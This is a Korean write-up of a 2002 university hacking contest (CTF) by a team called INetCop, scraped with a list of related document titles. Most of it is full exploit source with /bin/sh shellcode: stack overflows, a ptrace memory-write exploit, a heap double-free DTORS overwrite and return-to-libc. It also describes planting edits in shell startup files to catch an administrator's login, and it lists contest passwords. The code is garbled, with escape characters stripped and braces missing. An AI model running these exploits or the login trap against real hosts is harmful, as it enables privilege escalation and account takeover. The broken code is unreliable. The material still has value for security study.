Microsoft Word - readme.doc

Similar documents
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Deok9_Exploit Technique

hlogin2

PowerPoint 프레젠테이션

PowerPoint Template

강의10

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

PowerPoint 프레젠테이션

6주차.key

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

chap7.key

Microsoft PowerPoint - [2009] 02.pptx

PowerPoint 프레젠테이션

Microsoft Word - FunctionCall


< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft Word - MSOffice_WPS_analysis.doc

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

/chroot/lib/ /chroot/etc/

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Sena Technologies, Inc. HelloDevice Super 1.1.0

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

PowerPoint 프레젠테이션

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

歯7장.PDF

chap7.PDF

Microsoft Word - building the win32 shellcode 01.doc

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

2009년 상반기 사업계획

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

K&R2 Reference Manual 번역본

Microsoft PowerPoint - a10.ppt [호환 모드]

歯9장.PDF

vi 사용법

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

PowerPoint 프레젠테이션

C++ Programming

제1장 Unix란 무엇인가?

본 강의에 들어가기 전

BMP 파일 처리

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

SRC PLUS 제어기 MANUAL

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

슬라이드 1

Microsoft PowerPoint - 04-UDP Programming.ppt

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

History

슬라이드 1

untitled

1.hwp

lecture4(6.범용IO).hwp

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

IDA 5.x Manual hwp

Microsoft PowerPoint - polling.pptx

Microsoft Word - ExecutionStack

untitled

C++-¿Ïº®Çؼ³10Àå

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

[8051] 강의자료.PDF

Microsoft PowerPoint - ch07 - 포인터 pm0415

No Slide Title

13주-14주proc.PDF

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - IOControl [호환 모드]

Microsoft Word - KPMC-400,401 SW 사용 설명서

10.

untitled

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

1217 WebTrafMon II

Microsoft PowerPoint - Chapter_09.pptx

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer

문서의 제목 나눔명조R, 40pt

Chap06(Interprocess Communication).PDF

PowerPoint 프레젠테이션

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

Microsoft PowerPoint - lab14.pptx

5.스택(강의자료).key

ch15

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

2009년 상반기 사업계획

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D>

hlogin7

Infinity(∞) Strategy

좀비프로세스 2

PowerPoint 프레젠테이션

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

PowerPoint 프레젠테이션

: 1 int arr[9]; int n, i; printf(" : "); scanf("%d", &n); : : for(i=1; i<10; i++) arr[i-1] = n * i; for(i=0; i<9; i++) if(i%2 == 1) print

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Transcription:

========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00) ========================================================= * 참고로, 문서는 Word 6.0 환경에서작성되었습니다. 문서를읽으실때는 Word 6.0 프로그램을이용해주시기바랍니다. * 작성자 : INetCop Team. * 목차 "\x00": 간단한소개글. "\x01": A Server Level1 Step? archmage 해킹하여권한얻기. "\x02": A Server Level2 Step? farseer 해킹하여권한얻기. "\x03": A Server Level3 Step? dreadlord 해킹하여권한얻기. "\x04": A Server Level4 Step? demonhunter 해킹하여권한얻기. "\x05": A Server Level5 Step? sargeras 해킹하여권한얻기. "\x06": B Server? "\x07": 끝인사. "\x00": 간단한소개글. 안녕하세요. 이렇게만나뵙게되서반갑습니다. 저희는이번대회에 INetCop Team 으로참가하게되었습니다. 저의팀의실제참가인원은 2 명입니다. 그럼, 이제본문으로들어가보도록합시다. "\x01": A Server Level1 Step? archmage 해킹하여권한얻기. 저희 Team 은다음과같이권한의 Password 를얻을수있었습니다. id - archmage passwd - wjdfudrhkgkarp netcat 은원격지에패킷을보낼수있는네트워크해킹도구입니다. 이 netcat 을이용한 UDP 접속을통해다음과같이 archmage 의 password 를얻을수있었습니다. 프로그램경로 - "/usr/local/bin/spamecho"

"\x02": A Server Level2 Step? farseer 해킹하여권한얻기. id - farseer passwd - dnfqnwlwsmswk 프로그램에는전형적인 buffer overflow 취약점이존재하였습니다. successnprintpasswd() 함수를실행시키면다음 level 권한의 password 를얻을수있습니다. 다음은프로그램에서쓰인함수입니다. 08048460 <successnprintpasswd> 08048544 <fail> 08048564 <main> --- 0x82-Funcwrite.c --- /* Overflow, Function Pointer Overwrite Exploit exploit by "you dong-hun"(xpl017elz), <szoahc@hotmail.com>. My World: http://x82.i21c.net

Special Greets: INetCop team, pr1nc3, etc exploiters. */ #include <stdio.h> #define SUCCESS 0x08048460 // function pointer address int main(int gc, char gv) { int tk1; unsigned long tk2 = SUCCESS; char x82[0x82]; memset(x82, 0, 0x82); if(gc > 1) { tk2 = strtoul(gv[1], NULL, NULL); for(tk1 = 0; tk1 < 20; tk1++) { x82[tk1] = 0x82; x82[tk1++] = (tk2 & 0x000000ff) >> 0; x82[tk1++] = (tk2 & 0x0000ff00) >> 8; x82[tk1++] = (tk2 & 0x00ff0000) >>16; x82[tk1++] = (tk2 & 0xff000000) >>24; printf("%s", x82); 자, 이제 successnprintpasswd() 의주소를 return address 에 overwrite 시킵니다. 위와같이성공할수있었습니다. "\x03": A Server Level3 Step? dreadlord 해킹하여권한얻기. id - dreadlord passwd - DEATHNREBIRTH

letsdance 프로그램을 ptrace process control flow 를일으켜 return address 영역을원하는주소로변경합니다. 이때, 원하는부분의값을출력하여받기위해 prelude 과정을작성하여실행하고자원하는주소에덮어씌웠습니다. 1) 이전의 stack frame 을 bp 에저장함. push %ebp 2) 그후현재 stack frame 의 sp 값을 bp 로복사함. mov %esp,%ebp 위의두명령은새로운함수를수행할때시행합니다. 이명령을호출하고자하는부분에집어넣었습니다. 그후실행한결과내부의 monoalphabetic 방식으로암호화된 password 를얻을수있었습니다. Debugging - 다음은쉽게구현된 Exploit code 입니다. --- 0x82-Ptread.xpl.c --- /* Ptrace Memory Read Exploit exploit by "you dong-hun"(xpl017elz), <szoahc@hotmail.com>. My World: http://x82.i21c.net Special Greets: INetCop team, etc exploiters. */ #include <linux/ptrace.h>

unsigned long retr = 0x08048869, addr = 0x080485xx; int main() { unsigned long code = 0x68e58955, x0x = 0x080485xx; /* push %ebp mov %esp,%ebp c0de = " x55 x89 xe5 x68" */ int pid; if((pid = fork()) ==0) { ptrace(ptrace_traceme, 0, 1, 0 ); execl("./letsdance", "letsdance", 0); wait((int*) 0); // Overwriting return address ptrace(ptrace_pokedata, pid, retr, x0x); ptrace(ptrace_pokedata, pid, retr+0x04, x0x); ptrace(ptrace_pokedata, pid, retr+0x04, x0x); ptrace(ptrace_pokedata, pid, retr+0x04, x0x); ptrace(ptrace_pokedata, pid, retr+0x04, x0x); ptrace(ptrace_pokedata, pid, retr+0x04, x0x); // Make operand ptrace(ptrace_pokedata, pid, addr, code); ptrace(ptrace_syscall, pid, 1, 0); 이후, example.txt 파일을 crank(cryptanalysis toolkit) 프로그램으로해독하여암호화방식을찾아냈습니다. 물론, 얻어낸 password 를대입하여본 password 를얻을수있었습니다. 참고로아래 Cipher text 를얻으려면해독과정을반드시거쳐야합니다. 프로그램에서얻어낸 password "SVRUKCZVJOZUK" 를차례로해독해보았습니다.

결론 - 암호화된패스워드 - SVRUKCZVJOZUK 해독된패스워드 - DEATHNREBIRTH "\x04": A Server Level4 Step? demonhunter 해킹하여권한얻기. id - demonhunter passwd -? jumpjump setuid 설정프로그램이 home 디렉토리에존재합니다. 그프로그램에는전형적인 Heap 기반에 double free() 취약점이존재합니다. exploit 성공후 gid nightelf 권한을얻을시,.bash_profile,.bashrc,.bash_logout 파일등을수정하여, 실제관리자 (root) 나 password 를알고있는주최측의 user 가 login 할때까지대기하였습니다. 아래두 source code 는저희가공격했을때사용한 exploit 입니다. --- eggshell.c --- #include <stdlib.h> #include <stdio.h> #define OFFSET 0 #define BUFFERS 512 #define EGGS 2048 #define NOP 0x90 char shellcode[] = /* setreuid(504, 504) c0de 20byte + shellc0de 45byte */ " x31 xdb" /* xor ebx, ebx */ " x31 xc9" /* xor ecx, ecx */ " xbb xf8 x01 xff xff" /* mov $0x1f8, ebx */ " xb9 xf8 x01 xff xff" /* mov $0x1f8, ecx */ " x31 xc0" /* xor eax, eax */ " xb0 x46" /* mov $0x46, al */ " xcd x80" /* int $0x80 */ " xeb x1d" /* x0xx0xk0kk0kl0ll0lg00g00g00g00g00 */ " x5e x88 x46 x07 x89 x46 x0c x89 x76 x08 x89 xf3" " x8d x4e x08 x8d x56 x0c xb0 x0b xcd x80 x31 xc0" " x31 xdb x40 xcd x80 xe8 xde xff xff xff/bin/sh"; unsigned long ep(void) { asm ("movl %esp,%eax"); main(int argc, char *argv[]) { char *b, *p, *e; long *a, d; int o = OFFSET,

bs = BUFFERS, i, es = EGGS; if (argc > 1) bs = atoi(argv[1]); if (argc > 2) o = atoi(argv[2]); if (argc > 3) es = atoi(argv[3]); if (!(b = malloc(bs))) { printf("sorry~! n"); exit(0); if (!(e = malloc(es))) { printf("sorry~! n"); exit(0); d = ep() - o; printf(" n Using shellcode address: %p n n", d); p = b; a = (long *) p; for(i = 0; i < bs; i+=4) { *(a++) = d; p = e; for(i = 0; i < es - strlen(shellcode) - 1; i++) { *(p++) = NOP; for(i = 0; i < strlen(shellcode); i++) { *(p++) = shellcode[i]; b[bs - 1] = ' 0'; e[es - 1] = ' 0'; memcpy(e,"egg=",4); putenv(e); memcpy(b,"ret=",4); putenv(b); system("`which bash`"); --- 0x82-Dbfree.xpl.c --- /* Heap based double free Exploit :-p --- How to Exploit? --- sh-2.05a$./eggshell Using shellcode address: 0xbffffc18 sh-2.05a$./0x82-dbfree.xpl 0xbffffc18 >> Processing starts >> Memory for message is ready. >> Memory for key is ready. >> Using default key >> Key is generated: -25 >>Encoding...... >>Encoding Completed >>Encoded message: x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82 x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82x82 sh-2.05a$ whoami demonhunter sh-2.05a$ ---

Happy Exploit! exploit by "you dong-hun"(xpl017elz), <szoahc@hotmail.com>. My World: http://x82.i21c.net Special Greets: INetCop team, etc exploiters. */ #include <stdio.h> #include <string.h> #define DTORS 0x08049cc4 #define SHELL 0xbffffa98 int main(int argc, char *argv[]) { int ax82; unsigned long dtorsr = DTORS, shaddr = SHELL; char c0de[1024]; bzero(&c0de, 1024); if(argc > 1) { shaddr = strtoul(argv[1], NULL, NULL); if(argc > 2) { dtorsr = strtoul(argv[2], NULL, NULL); for(ax82 = 0; ax82 < 128; ax82++) { c0de[ax82] = 0x82; // Make fake chunk! *(long *)&c0de[ax82] = 0xfffffffc; *(long *)&c0de[ax82+4] = 0xffffffff; *(long *)&c0de[ax82+8] = dtorsr - 0x0c; *(long *)&c0de[ax82+12] = shaddr; // execute jumpjump program execl("/home/dreadlord/jumpjump", "jumpjump", c0de, 0); 실행결과 -

"\x05": A Server Level5 Step? sargeras 해킹하여권한얻기. id - sargeras passwd -? fried_egg setuid 설정프로그램을이용하여 buffer overflow exploit 을성공하였습니다. 단, 환경변수에 shellcode 를담는 eggshell code 를이용할수없도록개발된프로그램이였습니다. exploit 할수있는방법은여러가지가있습니다. 저희는두가지방법을이용하여새로운 shell 을실행하는데성공하였습니다. 방법 1) Lamagra 의 Omega Project 를이용한 exploit. 방법 2) 프로그램인수입력에의한 shellcode exploit. 1) 방법첫번째 exploit code - --- 0x82-Omega.c --- /* Omega Project exploit. exploit by "you dong-hun"(xpl017elz), <szoahc@hotmail.com>. My World: http://x82.i21c.net Special Greets: INetCop team, etc exploiters. */ #define SYSTEM 0x42049e54 #define OFFSET 0x82828282

int main() { int ax82, bx82; long shell; char atx[256], buf[1024]; bzero(&atx, 256); bzero(&buf, 1024); for(ax82 = 0; ax82 < 0x14; ax82 += 4) { *(long*)&atx[ax82] = OFFSET; *(long*)&atx[ax82] = SYSTEM; *(long*)&atx[ax82+4] = OFFSET; shell = SYSTEM; while(memcmp((void*)shell,"/bin/sh",8)) shell++; *(long*)&atx[ax82+8] = shell; printf("%s",atx); 2) 방법두번째 exploit - --- 0x82-x0xg00.c --- /* Very g00d idea Buffer Overflow exploit --- How to Exploit? --- sh-2.05a$ (./0x82-x0xg00 -r;cat)./fried_egg `./0x82-x0xg00 -s` Question : People like eggs for many different reasons. It is nutritious, delicious and quite pretty^^ Why do you think people like eggs? ======================================================== Thank you for your submission. --- u get newshell. jump! uid 505. exploit by "you dong-hun"(xpl017elz), <szoahc@hotmail.com>. My World: http://x82.i21c.net Special Greets: INetCop team, etc exploiters. */

#include <stdio.h> #include <strings.h> #include <stdlib.h> #include <getopt.h> #define SHELLADD 0xbffffbe8 #define Xpl017Elz x82 (lol~) void usage(char *argx); void returnx(u_long shc0de); void makec0de(void); char x0x[0x82]; /* x0x! */ char g00[0x82]; /* g00! */ void usage(char *argx) { printf(" n Usage: %s -option [arguments] n n", argx); printf(" t-a [&shellcode] - &shellcode address n"); printf(" t-r - printing returncode n"); printf(" t-s - ptinting shellcode n n"); printf(" Example> %s -a 0x82828282 -s -r n n", argx); void returnx(u_long shc0de) { int xret; memset(g00, 0, 0x82); for(xret = 0; xret < 0x50; xret += 4) { g00[xret+0] = (shc0de & 0x000000ff) >> 0; g00[xret+1] = (shc0de & 0x0000ff00) >> 8; g00[xret+2] = (shc0de & 0x00ff0000) >>16; g00[xret+3] = (shc0de & 0xff000000) >>24; int main(int argc, char *argv[]) { int xwhile; unsigned long shaddr = SHELLADD; while((xwhile = getopt(argc, argv, "a:rs"))!= EOF) { switch(xwhile) { case 'a':

case 'r': case 's': case '?': shaddr = strtoul(optarg, 0, 0); break; returnx(shaddr); printf("%s", g00); /* printing &shellc0de */ break; makec0de(); printf("%s", x0x); /* printing shellc0de */ break; usage(argv[0]); break; /* very easy? */ void makec0de(void) { int xnop, xc0de; char shell[] = /* setreuid(505,505) jumpc0de 20byte + shellc0de 45byte */ " x31 xdb x31 xc9 xbb xf9 x01 xff xff xb9 xf9 x01 xff xff x31 xc0" " xb0 x46 xcd x80" /* hehe :-p */ " xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b" " x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd" " x80 xe8 xdc xff xff xff/bin/sh"; memset(x0x, 0, 0x82); for(xnop = 0; xnop < 0x80; xnop++) { x0x[xnop] = 0x90; /* n0p! */ for(xc0de = 0; xc0de < strlen(shell); xc0de++) { x0x[xnop++] = shell[xc0de]; /* make shellc0de */

실행결과 - "\x06": B Server? B Server 정보가담긴 text 를통해열린 Port 로공격을시도할수있었습니다. 서버에는, 전형적인배열범위의 remote format string 취약점을가진 login 프로그램 (?) 이존재했습니다. 뒤늦게발견한점이매우안타깝지만, http://www.security-labs.org/index.php3?page=602 위 URL 의내용을통해 exploit 의성공률을더높일수있을것입니다. 매우유사한문제같더군요. :-) "\x07": 끝인사. 여기까지읽어주신여러분감사합니다. 대회의문제와난이도, 내용은매우흥미로웠습니다. 하지만, 대회중간에트릭을이용해올라온사용자들이좀있었던것같습니다. 운영상의문제점이라하면, 모두쓰고읽을수있는 /tmp 디렉토리의권한이열려있던점과남의프로세스를읽어드릴수있는명령을사용할수있었다는사실입니다. 물론, 백도어를실행하고프로세스를뒤져가며열심히삽질했던분들에게박수를보냅니다. ^^ 모두들수고하셨습니다. 대회를운영하느라고생하신운영진님들수고하셨습니다. 감사합니다.